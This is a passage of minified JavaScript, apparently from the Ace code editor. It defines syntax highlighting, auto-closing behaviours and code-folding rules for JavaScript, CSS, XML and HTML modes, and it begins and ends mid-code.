RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),ace.define(\"ace/mode/javascript\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/javascript_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/range\",\"ace/worker/worker_client\",\"ace/mode/behaviour/cstyle\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./javascript_highlight_rules\").JavaScriptHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"../range\").Range,a=e(\"../worker/worker_client\").WorkerClient,f=e(\"./behaviour/cstyle\").CstyleBehaviour,l=e(\"./folding/cstyle\").FoldMode,c=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new f,this.foldingRules=new l};r.inherits(c,i),function(){this.lineCommentStart=\"//\",this.blockComment={start:\"/*\",end:\"*/\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e),s=i.tokens,o=i.state;if(s.length&&s[s.length-1].type==\"comment\")return r;if(e==\"start\"||e==\"no_regex\"){var u=t.match(/^.*(?:\\bcase\\b.*\\:|[\\{\\(\\[])\\s*$/);u&&(r+=n)}else if(e==\"doc-start\"){if(o==\"start\"||o==\"no_regex\")return\"\";var u=t.match(/^\\s*(\\/?)\\*/);u&&(u[1]&&(r+=\" \"),r+=\"* \")}return r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.createWorker=function(e){var t=new a([\"ace\"],\"ace/mode/javascript_worker\",\"JavaScriptWorker\");return t.attachToDocument(e.getDocument()),t.on(\"annotate\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/javascript\"}.call(c.prototype),t.Mode=c}),ace.define(\"ace/mode/css_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text_highlight_rules\").TextHighlightRules,o=t.supportType=\"animation-fill-mode|alignment-adjust|alignment-baseline|animation-delay|animation-direction|animation-duration|animation-iteration-count|animation-name|animation-play-state|animation-timing-function|animation|appearance|azimuth|backface-visibility|background-attachment|background-break|background-clip|background-color|background-image|background-origin|background-position|background-repeat|background-size|background|baseline-shift|binding|bleed|bookmark-label|bookmark-level|bookmark-state|bookmark-target|border-bottom|border-bottom-color|border-bottom-left-radius|border-bottom-right-radius|border-bottom-style|border-bottom-width|border-collapse|border-color|border-image|border-image-outset|border-image-repeat|border-image-slice|border-image-source|border-image-width|border-left|border-left-color|border-left-style|border-left-width|border-radius|border-right|border-right-color|border-right-style|border-right-width|border-spacing|border-style|border-top|border-top-color|border-top-left-radius|border-top-right-radius|border-top-style|border-top-width|border-width|border|bottom|box-align|box-decoration-break|box-direction|box-flex-group|box-flex|box-lines|box-ordinal-group|box-orient|box-pack|box-shadow|box-sizing|break-after|break-before|break-inside|caption-side|clear|clip|color-profile|color|column-count|column-fill|column-gap|column-rule|column-rule-color|column-rule-style|column-rule-width|column-span|column-width|columns|content|counter-increment|counter-reset|crop|cue-after|cue-before|cue|cursor|direction|display|dominant-baseline|drop-initial-after-adjust|drop-initial-after-align|drop-initial-before-adjust|drop-initial-before-align|drop-initial-size|drop-initial-value|elevation|empty-cells|fit|fit-position|float-offset|float|font-family|font-size|font-size-adjust|font-stretch|font-style|font-variant|font-weight|font|grid-columns|grid-rows|hanging-punctuation|height|hyphenate-after|hyphenate-before|hyphenate-character|hyphenate-lines|hyphenate-resource|hyphens|icon|image-orientation|image-rendering|image-resolution|inline-box-align|left|letter-spacing|line-height|line-stacking-ruby|line-stacking-shift|line-stacking-strategy|line-stacking|list-style-image|list-style-position|list-style-type|list-style|margin-bottom|margin-left|margin-right|margin-top|margin|mark-after|mark-before|mark|marks|marquee-direction|marquee-play-count|marquee-speed|marquee-style|max-height|max-width|min-height|min-width|move-to|nav-down|nav-index|nav-left|nav-right|nav-up|opacity|orphans|outline-color|outline-offset|outline-style|outline-width|outline|overflow-style|overflow-x|overflow-y|overflow|padding-bottom|padding-left|padding-right|padding-top|padding|page-break-after|page-break-before|page-break-inside|page-policy|page|pause-after|pause-before|pause|perspective-origin|perspective|phonemes|pitch-range|pitch|play-during|pointer-events|position|presentation-level|punctuation-trim|quotes|rendering-intent|resize|rest-after|rest-before|rest|richness|right|rotation-point|rotation|ruby-align|ruby-overhang|ruby-position|ruby-span|size|speak-header|speak-numeral|speak-punctuation|speak|speech-rate|stress|string-set|table-layout|target-name|target-new|target-position|target|text-align-last|text-align|text-decoration|text-emphasis|text-height|text-indent|text-justify|text-outline|text-shadow|text-transform|text-wrap|top|transform-origin|transform-style|transform|transition-delay|transition-duration|transition-property|transition-timing-function|transition|unicode-bidi|vertical-align|visibility|voice-balance|voice-duration|voice-family|voice-pitch-range|voice-pitch|voice-rate|voice-stress|voice-volume|volume|white-space-collapse|white-space|widows|width|word-break|word-spacing|word-wrap|z-index\",u=t.supportFunction=\"rgb|rgba|url|attr|counter|counters\",a=t.supportConstant=\"absolute|after-edge|after|all-scroll|all|alphabetic|always|antialiased|armenian|auto|avoid-column|avoid-page|avoid|balance|baseline|before-edge|before|below|bidi-override|block-line-height|block|bold|bolder|border-box|both|bottom|box|break-all|break-word|capitalize|caps-height|caption|center|central|char|circle|cjk-ideographic|clone|close-quote|col-resize|collapse|column|consider-shifts|contain|content-box|cover|crosshair|cubic-bezier|dashed|decimal-leading-zero|decimal|default|disabled|disc|disregard-shifts|distribute-all-lines|distribute-letter|distribute-space|distribute|dotted|double|e-resize|ease-in|ease-in-out|ease-out|ease|ellipsis|end|exclude-ruby|fill|fixed|georgian|glyphs|grid-height|groove|hand|hanging|hebrew|help|hidden|hiragana-iroha|hiragana|horizontal|icon|ideograph-alpha|ideograph-numeric|ideograph-parenthesis|ideograph-space|ideographic|inactive|include-ruby|inherit|initial|inline-block|inline-box|inline-line-height|inline-table|inline|inset|inside|inter-ideograph|inter-word|invert|italic|justify|katakana-iroha|katakana|keep-all|last|left|lighter|line-edge|line-through|line|linear|list-item|local|loose|lower-alpha|lower-greek|lower-latin|lower-roman|lowercase|lr-tb|ltr|mathematical|max-height|max-size|medium|menu|message-box|middle|move|n-resize|ne-resize|newspaper|no-change|no-close-quote|no-drop|no-open-quote|no-repeat|none|normal|not-allowed|nowrap|nw-resize|oblique|open-quote|outset|outside|overline|padding-box|page|pointer|pre-line|pre-wrap|pre|preserve-3d|progress|relative|repeat-x|repeat-y|repeat|replaced|reset-size|ridge|right|round|row-resize|rtl|s-resize|scroll|se-resize|separate|slice|small-caps|small-caption|solid|space|square|start|static|status-bar|step-end|step-start|steps|stretch|strict|sub|super|sw-resize|table-caption|table-cell|table-column-group|table-column|table-footer-group|table-header-group|table-row-group|table-row|table|tb-rl|text-after-edge|text-before-edge|text-bottom|text-size|text-top|text|thick|thin|transparent|underline|upper-alpha|upper-latin|upper-roman|uppercase|use-script|vertical-ideographic|vertical-text|visible|w-resize|wait|whitespace|z-index|zero\",f=t.supportConstantColor=\"aqua|black|blue|fuchsia|gray|green|lime|maroon|navy|olive|orange|purple|red|silver|teal|white|yellow\",l=t.supportConstantFonts=\"arial|century|comic|courier|cursive|fantasy|garamond|georgia|helvetica|impact|lucida|symbol|system|tahoma|times|trebuchet|utopia|verdana|webdings|sans-serif|serif|monospace\",c=t.numRe=\"\\\\-?(?:(?:[0-9]+)|(?:[0-9]*\\\\.[0-9]+))\",h=t.pseudoElements=\"(\\\\:+)\\\\b(after|before|first-letter|first-line|moz-selection|selection)\\\\b\",p=t.pseudoClasses=\"(:)\\\\b(active|checked|disabled|empty|enabled|first-child|first-of-type|focus|hover|indeterminate|invalid|last-child|last-of-type|link|not|nth-child|nth-last-child|nth-last-of-type|nth-of-type|only-child|only-of-type|required|root|target|valid|visited)\\\\b\",d=function(){var e=this.createKeywordMapper({\"support.function\":u,\"support.constant\":a,\"support.type\":o,\"support.constant.color\":f,\"support.constant.fonts\":l},\"text\",!0);this.$rules={start:[{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"paren.lparen\",regex:\"\\\\{\",push:\"ruleset\"},{token:\"string\",regex:\"@.*?{\",push:\"media\"},{token:\"keyword\",regex:\"#[a-z0-9-_]+\"},{token:\"variable\",regex:\"\\\\.[a-z0-9-_]+\"},{token:\"string\",regex:\":[a-z0-9-_]+\"},{token:\"constant\",regex:\"[a-z0-9-_]+\"},{caseInsensitive:!0}],media:[{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"paren.lparen\",regex:\"\\\\{\",push:\"ruleset\"},{token:\"string\",regex:\"\\\\}\",next:\"pop\"},{token:\"keyword\",regex:\"#[a-z0-9-_]+\"},{token:\"variable\",regex:\"\\\\.[a-z0-9-_]+\"},{token:\"string\",regex:\":[a-z0-9-_]+\"},{token:\"constant\",regex:\"[a-z0-9-_]+\"},{caseInsensitive:!0}],comment:[{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"pop\"},{defaultToken:\"comment\"}],ruleset:[{token:\"paren.rparen\",regex:\"\\\\}\",next:\"pop\"},{token:\"comment\",regex:\"\\\\/\\\\*\",push:\"comment\"},{token:\"string\",regex:'[\"](?:(?:\\\\\\\\.)|(?:[^\"\\\\\\\\]))*?[\"]'},{token:\"string\",regex:\"['](?:(?:\\\\\\\\.)|(?:[^'\\\\\\\\]))*?[']\"},{token:[\"constant.numeric\",\"keyword\"],regex:\"(\"+c+\")(ch|cm|deg|em|ex|fr|gd|grad|Hz|in|kHz|mm|ms|pc|pt|px|rad|rem|s|turn|vh|vm|vw|%)\"},{token:\"constant.numeric\",regex:c},{token:\"constant.numeric\",regex:\"#[a-f0-9]{6}\"},{token:\"constant.numeric\",regex:\"#[a-f0-9]{3}\"},{token:[\"punctuation\",\"entity.other.attribute-name.pseudo-element.css\"],regex:h},{token:[\"punctuation\",\"entity.other.attribute-name.pseudo-class.css\"],regex:p},{token:[\"support.function\",\"string\",\"support.function\"],regex:\"(url\\\\()(.*)(\\\\))\"},{token:e,regex:\"\\\\-?[a-zA-Z_][a-zA-Z0-9_\\\\-]*\"},{caseInsensitive:!0}]},this.normalizeRules()};r.inherits(d,s),t.CssHighlightRules=d}),ace.define(\"ace/mode/behaviour/css\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/mode/behaviour/cstyle\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"./cstyle\").CstyleBehaviour,o=e(\"../../token_iterator\").TokenIterator,u=function(){this.inherit(s),this.add(\"colon\",\"insertion\",function(e,t,n,r,i){if(i===\":\"){var s=n.getCursorPosition(),u=new o(r,s.row,s.column),a=u.getCurrentToken();a&&a.value.match(/\\s+/)&&(a=u.stepBackward());if(a&&a.type===\"support.type\"){var f=r.doc.getLine(s.row),l=f.substring(s.column,s.column+1);if(l===\":\")return{text:\"\",selection:[1,1]};if(!f.substring(s.column).match(/^\\s*;/))return{text:\":;\",selection:[1,1]}}}}),this.add(\"colon\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s===\":\"){var u=n.getCursorPosition(),a=new o(r,u.row,u.column),f=a.getCurrentToken();f&&f.value.match(/\\s+/)&&(f=a.stepBackward());if(f&&f.type===\"support.type\"){var l=r.doc.getLine(i.start.row),c=l.substring(i.end.column,i.end.column+1);if(c===\";\")return i.end.column++,i}}}),this.add(\"semicolon\",\"insertion\",function(e,t,n,r,i){if(i===\";\"){var s=n.getCursorPosition(),o=r.doc.getLine(s.row),u=o.substring(s.column,s.column+1);if(u===\";\")return{text:\"\",selection:[1,1]}}})};r.inherits(u,s),t.CssBehaviour=u}),ace.define(\"ace/mode/css\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/css_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/worker/worker_client\",\"ace/mode/behaviour/css\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./css_highlight_rules\").CssHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"../worker/worker_client\").WorkerClient,a=e(\"./behaviour/css\").CssBehaviour,f=e(\"./folding/cstyle\").FoldMode,l=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new a,this.foldingRules=new f};r.inherits(l,i),function(){this.foldingRules=\"cStyle\",this.blockComment={start:\"/*\",end:\"*/\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e).tokens;if(i.length&&i[i.length-1].type==\"comment\")return r;var s=t.match(/^.*\\{\\s*$/);return s&&(r+=n),r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.createWorker=function(e){var t=new u([\"ace\"],\"ace/mode/css_worker\",\"Worker\");return t.attachToDocument(e.getDocument()),t.on(\"annotate\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/css\"}.call(l.prototype),t.Mode=l}),ace.define(\"ace/mode/xml_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(e){var t=\"[_:a-zA-Z\\u00c0-\\uffff][-_:.a-zA-Z0-9\\u00c0-\\uffff]*\";this.$rules={start:[{token:\"string.cdata.xml\",regex:\"<\\\\!\\\\[CDATA\\\\[\",next:\"cdata\"},{token:[\"punctuation.xml-decl.xml\",\"keyword.xml-decl.xml\"],regex:\"(<\\\\?)(xml)(?=[\\\\s])\",next:\"xml_decl\",caseInsensitive:!0},{token:[\"punctuation.instruction.xml\",\"keyword.instruction.xml\"],regex:\"(<\\\\?)(\"+t+\")\",next:\"processing_instruction\"},{token:\"comment.xml\",regex:\"<\\\\!--\",next:\"comment\"},{token:[\"xml-pe.doctype.xml\",\"xml-pe.doctype.xml\"],regex:\"(<\\\\!)(DOCTYPE)(?=[\\\\s])\",next:\"doctype\",caseInsensitive:!0},{include:\"tag\"},{token:\"text.end-tag-open.xml\",regex:\"</\"},{token:\"text.tag-open.xml\",regex:\"<\"},{include:\"reference\"},{defaultToken:\"text.xml\"}],xml_decl:[{token:\"entity.other.attribute-name.decl-attribute-name.xml\",regex:\"(?:\"+t+\":)?\"+t+\"\"},{token:\"keyword.operator.decl-attribute-equals.xml\",regex:\"=\"},{include:\"whitespace\"},{include:\"string\"},{token:\"punctuation.xml-decl.xml\",regex:\"\\\\?>\",next:\"start\"}],processing_instruction:[{token:\"punctuation.instruction.xml\",regex:\"\\\\?>\",next:\"start\"},{defaultToken:\"instruction.xml\"}],doctype:[{include:\"whitespace\"},{include:\"string\"},{token:\"xml-pe.doctype.xml\",regex:\">\",next:\"start\"},{token:\"xml-pe.xml\",regex:\"[-_a-zA-Z0-9:]+\"},{token:\"punctuation.int-subset\",regex:\"\\\\[\",push:\"int_subset\"}],int_subset:[{token:\"text.xml\",regex:\"\\\\s+\"},{token:\"punctuation.int-subset.xml\",regex:\"]\",next:\"pop\"},{token:[\"punctuation.markup-decl.xml\",\"keyword.markup-decl.xml\"],regex:\"(<\\\\!)(\"+t+\")\",push:[{token:\"text\",regex:\"\\\\s+\"},{token:\"punctuation.markup-decl.xml\",regex:\">\",next:\"pop\"},{include:\"string\"}]}],cdata:[{token:\"string.cdata.xml\",regex:\"\\\\]\\\\]>\",next:\"start\"},{token:\"text.xml\",regex:\"\\\\s+\"},{token:\"text.xml\",regex:\"(?:[^\\\\]]|\\\\](?!\\\\]>))+\"}],comment:[{token:\"comment.xml\",regex:\"-->\",next:\"start\"},{defaultToken:\"comment.xml\"}],reference:[{token:\"constant.language.escape.reference.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}],attr_reference:[{token:\"constant.language.escape.reference.attribute-value.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}],tag:[{token:[\"meta.tag.punctuation.tag-open.xml\",\"meta.tag.punctuation.end-tag-open.xml\",\"meta.tag.tag-name.xml\"],regex:\"(?:(<)|(</))((?:\"+t+\":)?\"+t+\")\",next:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\"}]}],tag_whitespace:[{token:\"text.tag-whitespace.xml\",regex:\"\\\\s+\"}],whitespace:[{token:\"text.whitespace.xml\",regex:\"\\\\s+\"}],string:[{token:\"string.xml\",regex:\"'\",push:[{token:\"string.xml\",regex:\"'\",next:\"pop\"},{defaultToken:\"string.xml\"}]},{token:\"string.xml\",regex:'\"',push:[{token:\"string.xml\",regex:'\"',next:\"pop\"},{defaultToken:\"string.xml\"}]}],attributes:[{token:\"entity.other.attribute-name.xml\",regex:\"(?:\"+t+\":)?\"+t+\"\"},{token:\"keyword.operator.attribute-equals.xml\",regex:\"=\"},{include:\"tag_whitespace\"},{include:\"attribute_value\"}],attribute_value:[{token:\"string.attribute-value.xml\",regex:\"'\",push:[{token:\"string.attribute-value.xml\",regex:\"'\",next:\"pop\"},{include:\"attr_reference\"},{defaultToken:\"string.attribute-value.xml\"}]},{token:\"string.attribute-value.xml\",regex:'\"',push:[{token:\"string.attribute-value.xml\",regex:'\"',next:\"pop\"},{include:\"attr_reference\"},{defaultToken:\"string.attribute-value.xml\"}]}]},this.constructor===s&&this.normalizeRules()};(function(){this.embedTagRules=function(e,t,n){this.$rules.tag.unshift({token:[\"meta.tag.punctuation.tag-open.xml\",\"meta.tag.\"+n+\".tag-name.xml\"],regex:\"(<)(\"+n+\"(?=\\\\s|>|$))\",next:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:t+\"start\"}]}),this.$rules[n+\"-end\"]=[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\",onMatch:function(e,t,n){return n.splice(0),this.token}}],this.embedRules(e,t,[{token:[\"meta.tag.punctuation.end-tag-open.xml\",\"meta.tag.\"+n+\".tag-name.xml\"],regex:\"(</)(\"+n+\"(?=\\\\s|>|$))\",next:n+\"-end\"},{token:\"string.cdata.xml\",regex:\"<\\\\!\\\\[CDATA\\\\[\"},{token:\"string.cdata.xml\",regex:\"\\\\]\\\\]>\"}])}}).call(i.prototype),r.inherits(s,i),t.XmlHighlightRules=s}),ace.define(\"ace/mode/html_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/css_highlight_rules\",\"ace/mode/javascript_highlight_rules\",\"ace/mode/xml_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./css_highlight_rules\").CssHighlightRules,o=e(\"./javascript_highlight_rules\").JavaScriptHighlightRules,u=e(\"./xml_highlight_rules\").XmlHighlightRules,a=i.createMap({a:\"anchor\",button:\"form\",form:\"form\",img:\"image\",input:\"form\",label:\"form\",option:\"form\",script:\"script\",select:\"form\",textarea:\"form\",style:\"style\",table:\"table\",tbody:\"table\",td:\"table\",tfoot:\"table\",th:\"table\",tr:\"table\"}),f=function(){u.call(this),this.addRules({attributes:[{include:\"tag_whitespace\"},{token:\"entity.other.attribute-name.xml\",regex:\"[-_a-zA-Z0-9:.]+\"},{token:\"keyword.operator.attribute-equals.xml\",regex:\"=\",push:[{include:\"tag_whitespace\"},{token:\"string.unquoted.attribute-value.html\",regex:\"[^<>='\\\"`\\\\s]+\",next:\"pop\"},{token:\"empty\",regex:\"\",next:\"pop\"}]},{include:\"attribute_value\"}],tag:[{token:function(e,t){var n=a[t];return[\"meta.tag.punctuation.\"+(e==\"<\"?\"\":\"end-\")+\"tag-open.xml\",\"meta.tag\"+(n?\".\"+n:\"\")+\".tag-name.xml\"]},regex:\"(</?)([-_a-zA-Z0-9:.]+)\",next:\"tag_stuff\"}],tag_stuff:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\"}]}),this.embedTagRules(s,\"css-\",\"style\"),this.embedTagRules(o,\"js-\",\"script\"),this.constructor===f&&this.normalizeRules()};r.inherits(f,u),t.HtmlHighlightRules=f}),ace.define(\"ace/mode/behaviour/xml\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";function u(e,t){return e.type.lastIndexOf(t+\".xml\")>-1}var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),a=function(){this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){var o=i,a=r.doc.getTextRange(n.getSelectionRange());if(a!==\"\"&&a!==\"'\"&&a!='\"'&&n.getWrapBehavioursEnabled())return{text:o+a+o,selection:!1};var f=n.getCursorPosition(),l=r.doc.getLine(f.row),c=l.substring(f.column,f.column+1),h=new s(r,f.row,f.column),p=h.getCurrentToken();if(c==o&&(u(p,\"attribute-value\")||u(p,\"string\")))return{text:\"\",selection:[1,1]};p||(p=h.stepBackward());if(!p)return;while(u(p,\"tag-whitespace\")||u(p,\"whitespace\"))p=h.stepBackward();var d=!c||c.match(/\\s/);if(u(p,\"attribute-equals\")&&(d||c==\">\")||u(p,\"decl-attribute-equals\")&&(d||c==\"?\"))return{text:o+o,selection:[1,1]}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}}),this.add(\"autoclosing\",\"insertion\",function(e,t,n,r,i){if(i==\">\"){var o=n.getCursorPosition(),a=new s(r,o.row,o.column),f=a.getCurrentToken()||a.stepBackward();if(!f||!(u(f,\"tag-name\")||u(f,\"tag-whitespace\")||u(f,\"attribute-name\")||u(f,\"attribute-equals\")||u(f,\"attribute-value\")))return;if(u(f,\"reference.attribute-value\"))return;if(u(f,\"attribute-value\")){var l=f.value.charAt(0);if(l=='\"'||l==\"'\"){var c=f.value.charAt(f.value.length-1),h=a.getCurrentTokenColumn()+f.value.length;if(h>o.column||h==o.column&&l!=c)return}}while(!u(f,\"tag-name\"))f=a.stepBackward();var p=a.getCurrentTokenRow(),d=a.getCurrentTokenColumn();if(u(a.stepBackward(),\"end-tag-open\"))return;var v=f.value;p==o.row&&(v=v.substring(0,o.column-d));if(this.voidElements.hasOwnProperty(v.toLowerCase()))return;return{text:\"></\"+v+\">\",selection:[1,1]}}}),this.add(\"autoindent\",\"insertion\",function(e,t,n,r,i){if(i==\"\\n\"){var o=n.getCursorPosition(),u=r.getLine(o.row),a=new s(r,o.row,o.column),f=a.getCurrentToken();if(f&&f.type.indexOf(\"tag-close\")!==-1){if(f.value==\"/>\")return;while(f&&f.type.indexOf(\"tag-name\")===-1)f=a.stepBackward();if(!f)return;var l=f.value,c=a.getCurrentTokenRow();f=a.stepBackward();if(!f||f.type.indexOf(\"end-tag\")!==-1)return;if(this.voidElements&&!this.voidElements[l]){var h=r.getTokenAt(o.row,o.column+1),u=r.getLine(c),p=this.$getIndent(u),d=p+r.getTabString();return h&&h.value===\"</\"?{text:\"\\n\"+d+\"\\n\"+p,selection:[1,d.length,1,d.length]}:{text:\"\\n\"+d}}}}})};r.inherits(a,i),t.XmlBehaviour=a}),ace.define(\"ace/mode/folding/mixed\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./fold_mode\").FoldMode,s=t.FoldMode=function(e,t){this.defaultMode=e,this.subModes=t};r.inherits(s,i),function(){this.$getMode=function(e){typeof e!=\"string\"&&(e=e[0]);for(var t in this.subModes)if(e.indexOf(t)===0)return this.subModes[t];return null},this.$tryMode=function(e,t,n,r){var i=this.$getMode(e);return i?i.getFoldWidget(t,n,r):\"\"},this.getFoldWidget=function(e,t,n){return this.$tryMode(e.getState(n-1),e,t,n)||this.$tryMode(e.getState(n),e,t,n)||this.defaultMode.getFoldWidget(e,t,n)},this.getFoldWidgetRange=function(e,t,n){var r=this.$getMode(e.getState(n-1));if(!r||!r.getFoldWidget(e,t,n))r=this.$getMode(e.getState(n));if(!r||!r.getFoldWidget(e,t,n))r=this.defaultMode;return r.getFoldWidgetRange(e,t,n)}}.call(s.prototype)}),ace.define(\"ace/mode/folding/xml\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/range\",\"ace/mode/folding/fold_mode\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";function l(e,t){return e.type.lastIndexOf(t+\".xml\")>-1}var r=e(\"../../lib/oop\"),i=e(\"../../lib/lang\"),s=e(\"../../range\").Range,o=e(\"./fold_mode\").FoldMode,u=e(\"../../token_iterator\").TokenIterator,a=t.FoldMode=function(e,t){o.call(this),this.voidElements=e||{},this.optionalEndTags=r.mixin({},this.voidElements),t&&r.mixin(this.optionalEndTags,t)};r.inherits(a,o);var f=function(){this.tagName=\"\",this.closing=!1,this.selfClosing=!1,this.start={row:0,column:0},this.end={row:0,column:0}};(function(){this.getFoldWidget=function(e,t,n){var r=this._getFirstTagInLine(e,n);return r?r.closing||!r.tagName&&r.selfClosing?t==\"markbeginend\"?\"end\":\"\":!r.tagName||r.selfClosing||this.voidElements.hasOwnProperty(r.tagName.toLowerCase())?\"\":this._findEndTagInLine(e,n,r.tagName,r.end.column)?\"\":\"start\":\"\"},this._getFirstTagInLine=function(e,t){var n=e.getTokens(t),r=new f;for(var i=0;i<n.length;i++){var s=n[i];if(l(s,\"tag-open\")){r.end.column=r.start.column+s.value.length,r.closing=l(s,\"end-tag-open\"),s=n[++i];if(!s)return null;r.tagName=s.value,r.end.column+=s.value.length;for(i++;i<n.length;i++){s=n[i],r.end.column+=s.value.length;if(l(s,\"tag-close\")){r.selfClosing=s.value==\"/>\";break}}return r}if(l(s,\"tag-close\"))return r.selfClosing=s.value==\"/>\",r;r.start.column+=s.value.length}return null},this._findEndTagInLine=function(e,t,n,r){var i=e.getTokens(t),s=0;for(var o=0;o<i.length;o++){var u=i[o];s+=u.value.length;if(s<r)continue;if(l(u,\"end-tag-open\")){u=i[o+1];if(u&&u.value==n)return!0}}return!1},this._readTagForward=function(e){var t=e.getCurrentToken();if(!t)return null;var n=new f;do if(l(t,\"tag-open\"))n.closing=l(t,\"end-tag-open\"),n.start.row=e.getCurrentTokenRow(),n.start.column=e.getCurrentTokenColumn();else if(l(t,\"tag-name\"))n.tagName=t.value;else if(l(t,\"tag-close\"))return 